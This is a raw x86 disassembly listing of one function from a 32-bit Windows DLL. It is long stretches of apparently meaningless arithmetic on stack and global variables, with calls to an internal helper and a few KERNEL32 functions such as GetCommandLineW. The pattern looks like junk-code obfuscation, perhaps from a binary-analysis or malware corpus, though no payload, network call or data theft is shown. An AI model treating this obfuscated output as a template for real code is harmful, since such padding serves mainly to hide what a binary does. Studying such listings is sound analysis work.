mov dword [0x100ad0e8], ecx
mov dword [0x100ad0ec], esi
mov edx, dword [ebp - 0x1b0]
add edx, 0x5a2
mov dword [ebp - 0x21fc], edx
mov dword [ebp - 0x1b4], 0
jmp 0x10050f35
mov eax, dword [ebp - 0x1b4]
add eax, 2
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xa5
jge 0x100511be
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
je 0x10051142
mov ecx, 1
mov word [ebp - 0x24], cx
movsx edx, word [ebp - 0x14]
imul eax, edx, 0x6794099b
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movsx eax, word [0x100ad11c]
test eax, eax
je 0x10050f88
mov ecx, dword [ebp - 0x44]
mov dword [ebp - 0x3e8], ecx
jmp 0x10050f92
movsx edx, byte [ebp - 1]
mov dword [ebp - 0x3e8], edx
mov eax, dword [ebp - 0x3e8]
cdq
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
movzx eax, byte [str.px_04X_]
mov ecx, dword [ebp - 0x48]
add ecx, eax
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0x48]
sub edx, 0x8c
mov byte [str.E2_wcsrchr], dl
mov eax, dword [ebp - 0x38]
cdq
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2200], edx
sub eax, ecx
mov dword [ebp - 0x38], eax
movsx eax, word [0x100ad0e4]
sub eax, dword [ebp - 0x44]
movsx ecx, word [0x100ad0e4]
add ecx, eax
mov word [0x100ad0e4], cx
movzx edx, word [ebp - 0x24]
mov dword [ebp - 0x3ec], edx
cmp dword [ebp - 0x3ec], 0
je 0x10051016
cmp dword [ebp - 0x3ec], 1
je 0x100510ab
jmp 0x10051140
mov eax, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov cl, 2
call fcn.1007a8e0
mov dword [0x100ad0e0], eax
cmp dword [0x100ad0a8], 0
je 0x10051045
mov ax, word [0x100ad120]
mov word [ebp - 0x108], ax
jmp 0x10051050
mov cx, word [ebp - 0x24]
mov word [ebp - 0x108], cx
mov dl, byte [ebp - 0x108]
mov byte [0x100ad09a], dl
cmp dword [0x100ad140], 0
je 0x10051074
movsx eax, byte [0x100ad09a]
mov dword [ebp - 0x3f0], eax
jmp 0x10051081
movzx ecx, byte [str.px_04X_]
mov dword [ebp - 0x3f0], ecx
mov dx, word [ebp - 0x3f0]
mov word [0x100ad0e4], dx
mov eax, dword [0x100ad128]
mov ecx, dword [0x100ad12c]
mov dword [ebp - 0x2204], ecx
xor eax, 0x49
mov byte [ebp - 1], al
jmp 0x10051140
mov dword [0x100ad100], 0x56
cmp dword [0x100ad100], 0
je 0x100510c9
mov dl, byte [0x100ad043]
mov byte [ebp - 0x65], dl
jmp 0x100510d1
mov al, byte [0x100ad09a]
mov byte [ebp - 0x65], al
movsx eax, byte [ebp - 0x65]
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
cmp dword [ebp - 0x44], 0
je 0x100510fc
mov ecx, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov dword [ebp - 0xf34], ecx
mov dword [ebp - 0xf30], edx
jmp 0x10051110
movsx eax, byte [0x100ad037]
cdq
mov dword [ebp - 0xf34], eax
mov dword [ebp - 0xf30], edx
mov eax, dword [ebp - 0xf34]
mov ecx, dword [ebp - 0xf30]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
movsx edx, word [ebp - 0xc]
movzx eax, word [0x100ad0b8]
add edx, eax
mov word [ebp - 0xc], dx
movsx ecx, byte [ebp - 2]
sub ecx, 0xfee5fd0
mov dword [ebp - 0x34], ecx
jmp 0x100511a7
movsx edx, byte [0x100ad09a]
test edx, edx
je 0x100511a7
mov eax, dword [0x100adbec]
mov dword [ebp - 0x44], eax
movsx ecx, byte [ebp - 5]
sub ecx, 0x25b9a90a
mov word [0x100ad0c4], cx
mov ecx, dword [ebp - 0x44]
sub ecx, 0xfbf4
mov dx, word [ebp - 0x28]
shl dx, cl
mov word [ebp - 0x28], dx
movzx eax, word [ebp - 0x18]
cdq
mov ecx, dword [0x100ad110]
sub ecx, eax
mov eax, dword [0x100ad114]
sbb eax, edx
mov dword [0x100ad110], ecx
mov dword [0x100ad114], eax
movsx ecx, word [0x100ad130]
sar ecx, 2
mov word [ebp - 0x20], cx
mov dx, word [0x100ad0c4]
add dx, 1
mov word [0x100ad0c4], dx
jmp 0x10050f26
mov eax, dword [ebp - 0x1c78]
sub eax, dword [ebp - 0x3f4]
cmp eax, dword [ebp - 0x3f4]
je 0x10078871
movsx ecx, word [0x100ad0c4]
movzx edx, word [ebp - 0x10]
cmp ecx, edx
jl 0x100514a8
movsx eax, word [0x100ad0c0]
push eax
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
xor ecx, ecx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1cf0], edx
mov dword [ebp - 0x1cec], eax
mov ecx, dword [ebp - 0x1cf0]
or ecx, dword [ebp - 0x1cec]
je 0x10051436
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
mov word [ebp - 0xc], ax
movsx edx, word [ebp - 0xc]
test edx, edx
je 0x1005127f
mov eax, dword [0x100ad128]
mov ecx, dword [0x100ad12c]
mov dword [ebp - 0x2208], ecx
add eax, 0xb2c5
mov word [ebp - 0x18], ax
movzx eax, byte [ebp - 4]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
movzx edx, word [0x100ad0f0]
imul eax, edx, 0x1b
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
jmp 0x10051434
movzx eax, word [ebp - 0x18]
movsx ecx, byte [0x100ad037]
cmp eax, ecx
jl 0x1005129a
movzx edx, byte [ebp - 4]
test edx, edx
je 0x10051434
movsx eax, word [ebp - 0xc]
movzx ecx, byte [0x100ad072]
not ecx
sub eax, ecx
cdq
mov esi, eax
mov edi, edx
movsx eax, word [0x100ad0e4]
not eax
cdq
push edx
push eax
mov edx, dword [ebp - 0x3c]
push edx
mov eax, dword [ebp - 0x40]
push eax
call fcn.1007a8a0
push edx
push eax
push edi
push esi
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
movzx eax, word [0x100ad0f0]
cdq
xor eax, dword [0x100ad128]
xor edx, dword [0x100ad12c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x1cf8], eax
mov dword [ebp - 0x1cf4], edx
mov edx, dword [ebp - 0x1cf8]
or edx, dword [ebp - 0x1cf4]
jne 0x10051311
mov byte [ebp - 0x66], 1
jmp 0x10051315
mov byte [ebp - 0x66], 0
mov al, byte [ebp - 0x66]
mov byte [0x100ad042], al
mov eax, dword [0x100ad118]
cdq
xor eax, dword [ebp - 0x40]
xor edx, dword [ebp - 0x3c]
mov dword [ebp - 0x1d00], eax
mov dword [ebp - 0x1cfc], edx
mov ecx, dword [ebp - 0x1d00]
or ecx, dword [ebp - 0x1cfc]
jne 0x10051357
xor edx, edx
mov dword [ebp - 0x132c], 1
mov dword [ebp - 0x1328], edx
jmp 0x10051362
xorps xmm0, xmm0
movlpd qword [ebp - 0x132c], xmm0
mov eax, dword [ebp - 0x1328]
push eax
mov ecx, dword [ebp - 0x132c]
push ecx
mov edx, dword [0x100ad13c]
push edx
mov eax, dword [0x100ad138]
push eax
call fcn.1007a8a0
mov esi, eax
mov edi, edx
movsx eax, byte [0x100ad043]
cdq
push 0xa1b3e
push 0x603ca1dd
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov ebx, edx
movsx eax, byte [0x100ad037]
cdq
mov dword [ebp - 0x1c7c], esi
mov esi, dword [0x100ad138]
sub esi, eax
mov eax, dword [0x100ad13c]
sbb eax, edx
not esi
not eax
xor ecx, esi
xor ebx, eax
push ebx
push ecx
push edi
mov esi, dword [ebp - 0x1c7c]
push esi
call fcn.1007a8a0
mov dword [ebp - 0x34], eax
movsx ecx, word [0x100ad0e4]
movzx edx, word [0x100ad0f0]
sub ecx, edx
movsx eax, word [0x100ad0e4]
sub eax, ecx
mov word [0x100ad0e4], ax
mov dword [ebp - 0x48], 0x70dba255
movsx cx, byte [0x100ad043]
mov edx, 2
imul eax, edx, 0xca05
mov word [eax + 0x101c7dc0], cx
movzx ecx, word [0x100ad0f0]
movsx edx, byte [0x100ad073]
lea eax, [edx + ecx + 0xff]
mov byte [0x100ad073], al
jmp 0x100514a6
mov ecx, 0x2271
mov word [ebp - 0x1c], cx
movzx edx, word [ebp - 0x18]
movzx eax, byte [0x100ad072]
imul edx, eax
mov word [ebp - 0x18], dx
movsx ecx, byte [ebp - 5]
add ecx, dword [ebp - 0x38]
jne 0x1005146e
xor edx, edx
mov dword [ebp - 0x1334], 1
mov dword [ebp - 0x1330], edx
jmp 0x10051479
xorps xmm0, xmm0
movlpd qword [ebp - 0x1334], xmm0
movzx eax, byte [ebp - 4]
cdq
mov ecx, dword [0x100ad12c]
sub eax, dword [0x100ad128]
sbb edx, ecx
not eax
not edx
mov ecx, dword [ebp - 0x1334]
sub ecx, eax
mov eax, dword [ebp - 0x1330]
sbb eax, edx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], eax
jmp 0x100514d6
movsx ecx, word [ebp - 0xc]
mov dword [0x100ad100], ecx
movsx eax, word [0x100ad0e4]
add eax, 0x472f
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
movsx edx, byte [str.E2_wcsrchr]
add edx, 0x9a3e
mov word [ebp - 0x1c], dx
movzx eax, byte [0x100ad0a6]
movzx ecx, word [ebp - 0x20]
cmp eax, ecx
jle 0x10051551
xor edx, edx
mov dword [0x100ad148], 0xa8
mov dword [0x100ad14c], edx
mov byte [0x100ad073], 2
mov byte [0x100ad0a6], 0xbc
movzx eax, byte [ebp - 3]
imul ecx, eax, 0x5bf07fc0
mov dword [0x100ad118], ecx
movzx edx, byte [0x100ad00f]
shl edx, 5
mov word [ebp - 0x28], dx
movsx eax, word [0x100ad11c]
movsx ecx, word [ebp - 0xc]
not ecx
imul eax, ecx
movsx edx, byte [0x100ad00d]
mov ecx, dword [0x100ad0e0]
not ecx
imul edx, ecx
add eax, edx
mov byte [0x100ad073], al
jmp 0x1005161a
mov dx, word [ebp - 0x10]
sub dx, 1
mov word [ebp - 0x10], dx
movzx eax, byte [0x100ad072]
xor eax, 0xaff1
mov byte [0x100ad0a6], al
movzx ecx, word [ebp - 0x18]
test ecx, ecx
je 0x10051581
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x3f8], edx
jmp 0x1005158e
movsx eax, byte [str.ZFreeSid]
mov dword [ebp - 0x3f8], eax
mov ecx, dword [ebp - 0x3f8]
xor edx, edx
mov dword [0x100ad0e8], ecx
mov dword [0x100ad0ec], edx
movsx eax, word [0x100ad0d0]
movsx ecx, word [ebp - 0xc]
not ecx
imul eax, ecx
movsx edx, byte [0x100ad00e]
or edx, dword [ebp - 0x44]
sub eax, edx
movzx ecx, word [ebp - 0x18]
movsx edx, word [0x100ad0c0]
add edx, 0x1c51fe1d
xor ecx, edx
not ecx
add eax, ecx
jne 0x100515e3
mov dword [ebp - 0x3fc], 1
jmp 0x100515ed
mov dword [ebp - 0x3fc], 0
mov eax, dword [ebp - 0x3fc]
mov dword [0x100ad0b4], eax
mov ecx, dword [0x100ad0e8]
sub ecx, 0xebad
mov dword [ebp - 0x48], ecx
movsx edx, byte [str.ZFreeSid]
movsx eax, word [ebp - 0xc]
add edx, eax
mov byte [str.ZFreeSid], dl
mov ecx, dword [0x100adbec]
mov dword [ebp - 0x1c0], ecx
mov dword [ebp - 0x1b8], 0
jmp 0x10051641
mov edx, dword [ebp - 0x1b8]
add edx, 2
mov dword [ebp - 0x1b8], edx
cmp dword [ebp - 0x1b8], 0x26c
jge 0x100517a9
mov eax, 2
mov word [ebp - 0x14], ax
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
mov dword [ebp - 0x1d08], ecx
mov dword [ebp - 0x1d04], edx
mov eax, dword [ebp - 0x1d08]
or eax, dword [ebp - 0x1d04]
je 0x1005169a
mov ecx, dword [0x100ad160]
mov edx, dword [0x100ad164]
mov dword [ebp - 0x133c], ecx
mov dword [ebp - 0x1338], edx
jmp 0x100516ab
movzx eax, byte [ebp - 3]
cdq
mov dword [ebp - 0x133c], eax
mov dword [ebp - 0x1338], edx
mov al, byte [ebp - 0x133c]
mov byte [0x100ad042], al
movsx eax, word [ebp - 0x14]
cdq
add eax, dword [ebp - 0x40]
adc edx, dword [ebp - 0x3c]
push edx
push eax
mov ecx, dword [ebp - 0x3c]
push ecx
mov edx, dword [ebp - 0x40]
push edx
call fcn.1007a8a0
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movzx eax, word [ebp - 0x24]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [ebp - 0x4c]
add ecx, dword [ebp - 0x50]
adc esi, edx
movzx eax, word [ebp - 0x24]
cdq
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov word [ebp - 0x24], ax
movsx eax, word [0x100ad11c]
test eax, eax
jne 0x10051710
mov dword [ebp - 0x400], 1
jmp 0x1005171a
mov dword [ebp - 0x400], 0
movzx ecx, byte [0x100ad072]
mov edx, dword [0x100ad0a8]
not edx
sub ecx, edx
mov eax, dword [ebp - 0x38]
imul eax, dword [ebp - 0x400]
sub ecx, eax
jne 0x1005174d
xor ecx, ecx
mov dword [ebp - 0x1344], 1
mov dword [ebp - 0x1340], ecx
jmp 0x10051758
xorps xmm0, xmm0
movlpd qword [ebp - 0x1344], xmm0
movsx eax, word [ebp - 0x14]
not eax
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
not eax
not edx
mov ecx, dword [ebp - 0x1340]
push ecx
mov ecx, dword [ebp - 0x1344]
push ecx
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad0e8], eax
mov dword [0x100ad0ec], edx
mov dx, word [0x100ad0f0]
add dx, 1
mov word [0x100ad0f0], dx
jmp 0x10051632
mov eax, dword [ebp - 0x1c0]
add eax, 0x4a3
mov dword [ebp - 0x510], eax
mov byte [ebp - 2], 2
movzx ecx, byte [ebp - 3]
shl ecx, 4
mov dword [0x100ad118], ecx
movzx ecx, word [ebp - 0x24]
add ecx, dword [0x100ad140]
mov dx, word [ebp - 0x24]
shl dx, cl
mov word [ebp - 0x24], dx
mov al, byte [ebp - 0x10]
mov byte [0x100ad00d], al
movzx ecx, word [0x100ad0f0]
imul edx, ecx, 0x6035
mov word [ebp - 0x10], dx
mov al, byte [ebp - 2]
mov byte [ebp - 0x1bc], al
cmp byte [ebp - 0x1bc], 0
je 0x1005182a
cmp byte [ebp - 0x1bc], 1
je 0x100518bf
cmp byte [ebp - 0x1bc], 2
je 0x1005191a
jmp 0x100519da
mov ecx, dword [ebp - 0x40]
add ecx, 0xd769
mov word [0x100ad0c0], cx
movsx eax, word [0x100ad0b0]
add eax, 0x67ef
cdq
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movzx edx, word [ebp - 0x24]
imul edx, dword [0x100ad100]
mov eax, dword [0x100ad100]
sub eax, edx
mov dword [0x100ad100], eax
movzx ecx, word [ebp - 0x28]
test ecx, ecx
jne 0x10051878
mov dword [ebp - 0x404], 1
jmp 0x10051882
mov dword [ebp - 0x404], 0
movzx eax, word [0x100ad0f0]
cdq
mov ecx, eax
add ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x48]
imul edx, dword [ebp - 0x34]
sub ecx, edx
mov eax, dword [ebp - 0x404]
add eax, 0x65c83a0
movsx edx, word [ebp - 0x14]
movsx esi, byte [ebp - 1]
add edx, esi
xor eax, edx
cdq
sub ecx, eax
not ecx
mov dword [0x100ad140], ecx
jmp 0x100519da
mov dword [ebp - 0x34], 0xcc36f203
mov eax, dword [0x100adbec]
mov dword [ebp - 0x34], eax
mov cl, byte [ebp - 0x10]
mov byte [0x100ad00e], cl
mov dl, byte [0x100ad00d]
add dl, 1
mov byte [0x100ad00d], dl
mov eax, dword [0x100ad0f8]
xor eax, 0x6ccb3868
mov word [ebp - 0x14], ax
movsx eax, word [ebp - 0x1c]
cdq
push 0x7ea02
push 0x4f60e2f2
push edx
push eax
call fcn.1007a8a0
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
jmp 0x100519da
movsx ecx, byte [0x100ad073]
test ecx, ecx
jne 0x10051931
mov dword [ebp - 0x408], 1
jmp 0x1005193b
mov dword [ebp - 0x408], 0
movsx edx, byte [0x100ad037]
not edx
xor edx, dword [ebp - 0x408]
not edx
mov word [ebp - 0x24], dx
mov eax, dword [ebp - 0x34]
add eax, 1
mov dword [ebp - 0x34], eax
movsx eax, word [0x100ad0c0]
add eax, 0x42
cdq
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
movsx eax, byte [0x100ad00e]
cdq
mov ecx, dword [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0x40]
push ecx
push edx
push eax
call fcn.1007a8a0
mov byte [0x100ad00e], al
movsx edx, word [0x100ad0e4]
xor edx, dword [ebp - 0x44]
not edx
mov word [0x100ad130], dx
cmp dword [ebp - 0x34], 0
je 0x100519b8
mov eax, dword [0x100ad0f8]
mov ecx, dword [0x100ad0fc]
mov dword [ebp - 0x134c], eax
mov dword [ebp - 0x1348], ecx
jmp 0x100519cc
movsx eax, word [0x100ad0c4]
cdq
mov dword [ebp - 0x134c], eax
mov dword [ebp - 0x1348], edx
mov dx, word [ebp - 0x134c]
mov word [0x100ad0cc], dx
mov eax, dword [ebp - 0x1c0]
add eax, 0x4f1
mov dword [ebp - 0x220c], eax
mov ecx, dword [ebp - 0x48]
sub ecx, 0x97678a17
movsx eax, byte [0x100ad073]
cdq
sub eax, ecx
mov byte [0x100ad073], al
movzx eax, word [ebp - 0x24]
movsx edx, word [ebp - 0xc]
sub eax, edx
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
mov eax, dword [ebp - 0x48]
shl eax, 4
mov dword [ebp - 0x48], eax
movzx ecx, word [ebp - 0x10]
mov dword [0x100ad0a8], ecx
mov edx, dword [ebp - 0x1c0]
add edx, 0x4f5
mov dword [ebp - 0x50c], edx
movsx eax, word [ebp - 0xc]
cdq
mov dword [ebp - 0x1d10], eax
mov dword [ebp - 0x1d0c], edx
mov eax, dword [0x100ad138]
cmp eax, dword [ebp - 0x1d10]
jne 0x10051c7d
mov ecx, dword [0x100ad13c]
cmp ecx, dword [ebp - 0x1d0c]
jne 0x10051c7d
movsx edx, byte [ebp - 5]
cmp dword [ebp - 0x38], edx
jg 0x10051a87
mov dword [ebp - 0x40c], 1
jmp 0x10051a91
mov dword [ebp - 0x40c], 0
cmp dword [ebp - 0x38], 0x53
jg 0x10051aa3
mov dword [ebp - 0x410], 1
jmp 0x10051aad
mov dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x40c]
cmp eax, dword [ebp - 0x410]
jle 0x10051c15
movsx ecx, byte [0x100ad042]
movzx edx, word [ebp - 0x18]
cmp ecx, edx
jl 0x10051ada
mov dword [ebp - 0x414], 1
jmp 0x10051ae4
mov dword [ebp - 0x414], 0
movsx eax, byte [0x100ad042]
cmp eax, 0x14
jl 0x10051afc
mov dword [ebp - 0x418], 1
jmp 0x10051b06
mov dword [ebp - 0x418], 0
mov ecx, dword [ebp - 0x414]
cmp ecx, dword [ebp - 0x418]
jl 0x10051c13
movzx edx, word [ebp - 0x10]
imul edx, dword [0x100ad118]
mov word [ebp - 0x10], dx
mov eax, dword [ebp - 0x38]
cdq
push 0xe4df2
push 0xe2ac2746
push edx
push eax
call fcn.1007a8a0
mov word [ebp - 0x10], ax
mov eax, dword [ebp - 0x34]
sub eax, 0x7a
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
mov eax, dword [0x100ad128]
mov ecx, dword [0x100ad12c]
mov dword [ebp - 0x1d18], eax
mov dword [ebp - 0x1d14], ecx
mov edx, dword [ebp - 0x1d18]
or edx, dword [ebp - 0x1d14]
je 0x10051b83
movzx eax, byte [ebp - 3]
mov dword [ebp - 0x41c], eax
jmp 0x10051b90
movzx ecx, word [0x100ad0f0]
mov dword [ebp - 0x41c], ecx
mov eax, dword [ebp - 0x41c]
cdq
mov dword [0x100ad108], eax
mov dword [0x100ad10c], edx
movsx edx, word [ebp - 0x14]
imul eax, edx, 0xb
test eax, eax
jne 0x10051bb9
mov dword [ebp - 0x420], 1
jmp 0x10051bc3
mov dword [ebp - 0x420], 0
movsx ecx, byte [ebp - 2]
test ecx, ecx
jne 0x10051bd7
mov dword [ebp - 0x424], 1
jmp 0x10051be1
mov dword [ebp - 0x424], 0
mov edx, dword [ebp - 0x420]
imul edx, dword [ebp - 0x424]
test edx, edx
jne 0x10051bfe
mov dword [ebp - 0x428], 1
jmp 0x10051c08
mov dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x428]
mov dword [0x100ad15c], eax
jmp 0x10051c7b
movsx ecx, byte [0x100ad00d]
movsx edx, byte [ebp - 2]
add edx, 0xe764
sub ecx, edx
movsx eax, byte [ebp - 2]
sub eax, dword [0x100ad0e0]
add ecx, eax
mov word [0x100ad0c0], cx
movzx eax, word [ebp - 0x18]
cdq
mov ecx, eax
sub ecx, dword [ebp - 0x40]
movzx eax, word [ebp - 0x18]
cdq
add eax, ecx
mov word [ebp - 0x18], ax
mov edx, dword [0x100adbec]
mov dword [0x100ad0a8], edx
movsx eax, word [ebp - 0x1c]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
sub ecx, eax
sbb esi, edx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
add edx, ecx
adc eax, esi
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x2c], eax
jmp 0x10051cb6
mov ecx, 1
imul edx, ecx, 0x60
mov al, byte [ebp - 0x38]
mov byte [edx + 0x100d5750], al
movsx ecx, byte [str.ZFreeSid]
add ecx, dword [ebp - 0x38]
mov dword [0x100ad100], ecx
movzx edx, word [ebp - 0x24]
movsx eax, word [0x100ad11c]
imul edx, eax
movzx ecx, word [ebp - 0x24]
add ecx, edx
mov word [ebp - 0x24], cx
mov edx, dword [0x100adbec]
mov dword [ebp - 0x1c8], edx
mov eax, dword [ebp - 0x38]
add eax, 0x2c
movsx ecx, word [0x100ad0cc]
sub ecx, eax
mov word [0x100ad0cc], cx
movsx edx, word [0x100ad0cc]
imul eax, edx, 0xc2022ade
xor ecx, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
movzx edx, word [ebp - 0x10]
movsx eax, byte [0x100ad042]
imul edx, eax
movzx ecx, word [ebp - 0x10]
imul ecx, edx
mov word [ebp - 0x10], cx
mov dl, byte [0x100ad09a]
mov byte [0x100ad00f], dl
movsx eax, word [0x100ad130]
movzx ecx, byte [ebp - 4]
sub eax, ecx
movzx edx, word [ebp - 0x10]
imul eax, edx
mov dword [0x100ad0e0], eax
mov eax, dword [ebp - 0x1c8]
add eax, 0x429
mov dword [ebp - 0x1fc], eax
movsx ecx, byte [0x100ad043]
cmp ecx, dword [ebp - 0x34]
jne 0x10052045
movsx eax, byte [0x100ad042]
cdq
mov dword [ebp - 0x1d20], eax
mov dword [ebp - 0x1d1c], edx
mov edx, dword [ebp - 0x3c]
cmp edx, dword [ebp - 0x1d1c]
jl 0x10051d84
jg 0x10051d78
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x1d20]
jb 0x10051d84
mov dword [ebp - 0x42c], 1
jmp 0x10051d8e
mov dword [ebp - 0x42c], 0
cmp dword [ebp - 0x3c], 0
jl 0x10051da8
jg 0x10051d9c
cmp dword [ebp - 0x40], 0x34
jb 0x10051da8
mov dword [ebp - 0x430], 1
jmp 0x10051db2
mov dword [ebp - 0x430], 0
mov ecx, dword [ebp - 0x42c]
cmp ecx, dword [ebp - 0x430]
je 0x10051fb9
mov dword [ebp - 0x1c4], 0x23d0
movzx edx, byte [0x100ad0a6]
imul eax, edx, 0xb2fd
mov dword [0x100ad118], eax
mov ecx, dword [0x100adbec]
mov dword [0x100ad100], ecx
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x2210], edx
xor ecx, 0x5d9b
movsx eax, word [0x100ad130]
cdq
add eax, ecx
mov word [0x100ad130], ax
movsx eax, byte [ebp - 2]
movsx ecx, byte [ebp - 2]
sub eax, ecx
movsx edx, byte [ebp - 2]
sub edx, eax
mov byte [ebp - 2], dl
cmp dword [ebp - 0x1c4], 0x22f5
jle 0x10051fb4
mov eax, dword [0x100ad0e0]
cmp dword [0x100ad0e0], eax
jb 0x10051e4a
mov dword [ebp - 0x434], 1
jmp 0x10051e54
mov dword [ebp - 0x434], 0
cmp dword [0x100ad0e0], 0xe
jb 0x10051e69
mov dword [ebp - 0x438], 1
jmp 0x10051e73
mov dword [ebp - 0x438], 0
mov ecx, dword [ebp - 0x434]
cmp ecx, dword [ebp - 0x438]
jl 0x10051fa0
mov byte [0x100ad0a6], 1
movsx eax, byte [0x100ad09a]
cdq
push 0x68983
push 0xdcfbe3b5
push edx
push eax
call fcn.1007a8a0
mov word [ebp - 0x14], ax
mov edx, dword [0x100adbec]
xor eax, eax
mov dword [0x100ad110], edx
mov dword [0x100ad114], eax
mov ecx, dword [0x100ad128]
mov edx, dword [0x100ad12c]
add ecx, 1
adc edx, 0
mov dword [0x100ad128], ecx
mov dword [0x100ad12c], edx
mov dword [ebp - 0x48], 0x6f
mov al, byte [0x100ad0a6]
mov byte [ebp - 0x43c], al
cmp byte [ebp - 0x43c], 0
je 0x10051f03
cmp byte [ebp - 0x43c], 1
je 0x10051f5d
jmp 0x10051fa0
movsx ecx, byte [0x100ad00d]
test ecx, ecx
je 0x10051f1b
mov dx, word [ebp - 0x1c]
mov word [ebp - 0x106], dx
jmp 0x10051f26
mov ax, word [ebp - 0xc]
mov word [ebp - 0x106], ax
movsx eax, word [ebp - 0x106]
cdq
mov dword [0x100ad0d8], eax
mov dword [0x100ad0dc], edx
xor ecx, ecx
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x2c], ecx
movzx edx, byte [ebp - 3]
movsx eax, byte [ebp - 1]
sub edx, eax
mov byte [0x100ad00e], dl
mov cl, byte [ebp - 0x10]
mov byte [ebp - 3], cl
jmp 0x10051fa0
movsx eax, word [0x100ad0c4]
cdq
mov edx, dword [0x100ad0d8]
mov ecx, dword [0x100ad0dc]
mov dword [ebp - 0x2214], ecx
sub edx, eax
mov eax, 0xe11b3a93
sub eax, edx
mov byte [ebp - 1], al
movzx ecx, byte [ebp - 4]
movsx edx, byte [ebp - 2]
add ecx, edx
mov byte [ebp - 4], cl
movsx eax, word [0x100ad11c]
cdq
add eax, 0x732d9a32
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x1c4]
sub eax, 1
mov dword [ebp - 0x1c4], eax
jmp 0x10051e21
jmp 0x10052040
movzx ecx, word [0x100ad0ac]
test ecx, ecx
je 0x10051fd8
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xf9c], edx
mov dword [ebp - 0xf98], eax
jmp 0x10051fec
movzx eax, byte [0x100ad00f]
cdq
mov dword [ebp - 0xf9c], eax
mov dword [ebp - 0xf98], edx
mov cl, byte [ebp - 0xf9c]
mov byte [str.px_04X_], cl
movzx eax, word [ebp - 0x10]
cdq
mov ecx, eax
mov edx, dword [0x100ad108]
mov eax, dword [0x100ad10c]
mov dword [ebp - 0x2218], eax
add ecx, edx
movsx eax, byte [0x100ad042]
not eax
movsx edx, word [ebp - 0xc]
add eax, edx
cdq
add ecx, eax
not ecx
movzx eax, byte [0x100ad00f]
cdq
add ecx, eax
mov dword [0x100ad118], ecx
movsx eax, word [0x100ad0c4]
mov dword [ebp - 0x48], eax
jmp 0x100520d8
movzx ecx, word [ebp - 0x24]
and ecx, 0xea
not ecx
movsx edx, byte [ebp - 1]
and ecx, edx
mov byte [0x100ad00f], cl
mov eax, 0xffffad62
mov word [ebp - 0x1c], ax
movzx ecx, word [ebp - 0x28]
sub ecx, 0xd1e37f1
mov word [ebp - 0x14], cx
movsx edx, word [ebp - 0x14]
imul eax, edx, 0x5c2b
movsx ecx, byte [ebp - 1]
imul ecx, eax
mov byte [ebp - 1], cl
movzx edx, byte [0x100ad0a6]
movsx eax, word [0x100ad11c]
sub edx, eax
mov byte [0x100ad0a6], dl
movzx ecx, word [ebp - 0x20]
test ecx, ecx
jne 0x100520b2
mov dword [ebp - 0x440], 1
jmp 0x100520bc
mov dword [ebp - 0x440], 0
movsx edx, word [0x100ad0cc]
movsx eax, byte [0x100ad042]
add edx, eax
not edx
sub edx, dword [ebp - 0x440]
mov word [ebp - 0x10], dx
mov ecx, dword [ebp - 0x1c8]
add ecx, 0x28a
mov dword [ebp - 0x5b4], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov byte [ebp - 3], al
mov edx, dword [ebp - 0x1c8]
add edx, 0x2dd
mov dword [ebp - 0x1c94], edx
movsx eax, word [0x100ad11c]
cdq
add eax, 0x3b6edf56
mov word [ebp - 0x24], ax
movsx eax, byte [0x100ad09a]
sar eax, 6
mov word [0x100ad0cc], ax
movsx ecx, byte [0x100ad00d]
sub ecx, 0x61
mov dword [ebp - 0x44], ecx
